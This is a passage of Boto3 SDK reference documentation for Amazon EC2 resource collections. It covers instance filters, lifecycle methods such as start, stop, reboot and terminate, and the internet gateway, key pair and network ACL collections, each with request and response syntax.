(spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = ec2.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = ec2.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = ec2.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = ec2.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = ec2.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +- **AdditionalInfo** (_string_) -- Reserved. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StartingInstances** _(list) --_ + + Information about the started instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = ec2.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +- **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = ec2.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = ec2.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +internet_gateways + +A collection of InternetGateway resources.A InternetGateway Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all InternetGateway resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = ec2.internet_gateways.all() + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +filter(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection filtered by kwargs passed to method.A InternetGateway collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = ec2.internet_gateways.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + InternetGatewayIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - attachment.state - The current state of the attachment between the gateway and the VPC (available ). Present only if a VPC is attached. + - attachment.vpc-id - The ID of an attached VPC. + - internet-gateway-id - The ID of the Internet gateway. + - owner-id - The ID of the AWS account that owns the internet gateway. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **InternetGatewayIds** (_list_) -- + + One or more internet gateway IDs. + + Default: Describes all your internet gateways. + + - _(string) --_ +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of InternetGateway resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = ec2.internet_gateways.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +page_size(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = ec2.internet_gateways.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +key_pairs + +A collection of KeyPairInfo resources.A KeyPairInfo Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all KeyPairInfo resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeKeyPairs) + +**Request Syntax** + +key_pair_info_iterator = ec2.key_pairs.all() + +Return type + +list(ec2.KeyPairInfo) + +Returns + +A list of KeyPairInfo resources + +filter(kwargs_) + +Creates an iterable of all KeyPairInfo resources in the collection filtered by kwargs passed to method.A KeyPairInfo collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeKeyPairs) + +**Request Syntax** + +key_pair_info_iterator = ec2.key_pairs.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + KeyNames=[ + 'string', + ], + KeyPairIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - key-pair-id - The ID of the key pair. + - fingerprint - The fingerprint of the key pair. + - key-name - The name of the key pair. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **KeyNames** (_list_) -- + + The key pair names. + + Default: Describes all your key pairs. + + - _(string) --_ +- **KeyPairIds** (_list_) -- + + The IDs of the key pairs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.KeyPairInfo) + +Returns + +A list of KeyPairInfo resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of KeyPairInfo resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeKeyPairs) + +**Request Syntax** + +key_pair_info_iterator = ec2.key_pairs.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.KeyPairInfo) + +Returns + +A list of KeyPairInfo resources + +page_size(kwargs_) + +Creates an iterable of all KeyPairInfo resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeKeyPairs) + +**Request Syntax** + +key_pair_info_iterator = ec2.key_pairs.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.KeyPairInfo) + +Returns + +A list of KeyPairInfo resources + +network_acls + +A collection of NetworkAcl resources.A NetworkAcl Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkAcl resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = ec2.network_acls.all() + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +filter(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection filtered by kwargs passed to method.A NetworkAcl collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = ec2.network_acls.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NetworkAclIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - association.association-id - The ID of an association ID for the ACL. + - association.network-acl-id - The ID of the network ACL involved in the association. + - association.subnet-id - The ID of the subnet involved in the association. + - default - Indicates whether the ACL is the default network ACL for the VPC. + - entry.cidr - The IPv4 CIDR range specified in the entry. + - entry.icmp.code - The ICMP code specified in the entry, if any. + - entry.icmp.type - The ICMP type specified in the entry, if any. + - entry.ipv6-cidr - The IPv6 CIDR range specified in the entry. + - entry.port-range.from - The start of the port range specified in the entry. + - entry.port-range.to - The end of the port range specified in the entry. + - entry.protocol - The protocol specified in 